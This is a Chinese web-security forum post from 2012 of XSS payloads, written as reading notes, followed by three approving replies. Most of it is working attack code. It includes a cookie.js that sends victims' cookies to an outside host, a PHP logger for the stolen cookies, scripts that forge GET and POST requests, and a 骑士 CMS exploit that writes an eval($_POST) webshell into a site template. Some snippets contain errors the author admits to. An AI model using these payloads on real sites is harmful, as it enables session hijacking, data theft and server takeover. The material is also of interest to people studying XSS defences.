【原创】XSS Payload
本帖最后由 L.N. 于 2012-7-30 21:34 编辑注意代码中的url连接有问题!没法修改!
xss payload可以使用富客户端文本书写,大多数用javascript,少部分用actionscript等等。
1.盗取cookie,发起cookie劫持
使用xss漏洞插入cookie.js
cookie.js代码:
var img = document.createElement("img");
img.src = http://lanu.sinaapp.com/cookie.php?cookie=+escape(document.cookie);
document.body.appendChild(img);
cookie.php代码
<?php
$file = fopen("cookie.txt","a");
fwrite($file,$_GET['cookie']);
fclose($file);
?>
2.构造GET和POST请求
get.js代码:
var img = document.createElement("img");
img.src = "一个可以使用的get请求链接";
document.body.appendChild(img);
post.js代码:
代码1:(DOM节点方式)
var f = document.createElement("form");
f.action ="";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement("input");
i1.name = "xxx";
i1.value = "xxxx";
f.appendChild(i1);
var i2 = document.createElement("input");
i2.name = "aaa";
i2.value = "aaa";
f.appendChild(i2);
f.submit();
代码2:
var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML ='<form action="" method="post" id="xssform"
name="mbform">'+'<input type="hidden" value="xxxx" name="xxx"
/>'+'<input type="text" value="aaaa" name="aaa"
/>'+'</form>';
document.getElementById("xssform").submit();
代码3:(使用XMLHttpRequest)
var url = "http://lanu.sinaapp.com";
var postStr = "aaa=aaaa&xxx=xxxx";
var ajax = null;
if(windows.XMLHttpRequest)
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new
ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
}
else
{
return;
}
ajax.open("POST", url , true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(postStr);
//ajax.open("GET", url, true);
//ajax.send(null);
ajax.onreadystatechange = function()
{
if(ajax.readyState == 4 && ajax.status == 200)
{
//alert("Done!");
}
}
-------------------
3.xss钓鱼
4.浏览器识别和用户安装软件识别
http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/
5.css history hack
http://ha.ckers.org/weird/CSS-history-hack.html
读《白帽子讲web安全》笔记
---------------------
xxs payload getshell 实例:
骑士cms getshell
//构造好的能写入一句话的连接
var
Shelldata='tpl_content=%3C%3Fphp%20eval%28%24_POST%5Bxdxd%5D%29%3F%3E&tpl_dir=default&tpl_name=footer.php&del_Submit=%B1%A3%B4%E6';
try
{
//调用XMLHttpRequest
var xml = window.XMLHttpRequest ?
(new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP'));
xml.open("POST",'admin_templates.php?act=do_edit',false);
xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xml.onreadystatechange = function()
{
if(xml.readyState == 4)
{
}
}
xml.send(Shelldata);
}
catch(e)
{
}
两金币 不错。。。。顶:lol 打到地主老财 顶起!!!!!!!!!!!! getshell给力哇。
Re: 【原创】XSS Payload
感谢楼主的分享!这些XSS payload很经典,尤其是cookie劫持和表单伪造部分,对理解XSS攻击原理很有帮助。不过现在很多浏览器已经实施了更严格的同源策略和HttpOnly Cookie,实际利用时可能需要绕过一些限制。另外骑士CMS那个getshell例子也很实用。再次感谢楼主的笔记整理!Re: 【原创】XSS Payload
感谢楼主的分享,整理得很详细,特别是cookie劫持和构造POST请求的几种方式,对学习XSS很有帮助。不过注意到开头提到代码中的URL连接有问题,请问具体是哪个部分的URL需要修正?如果能在示例里把占位符换成通用或可测试的地址,应该会更容易让新手理解运行逻辑。另外想问下《白帽子讲web安全》这本书楼主读下来的体会如何,适合入门吗?Re: 【原创】XSS Payload
感谢楼主的分享,整理得很详细,涵盖了XSS攻击中常见的几种Payload实现方式,包括cookie劫持、GET/POST请求伪造,还附上了骑士CMS getshell的实例,对理解Web安全很有帮助。你提到的url连接问题也很有必要提醒大家注意,实际使用中确实需要确认目标地址的有效性和合法性。另外,像CSS history hack和浏览器识别的参考资料也很有参考价值。希望以后能继续读到你的安全技术笔记!
页:
[1]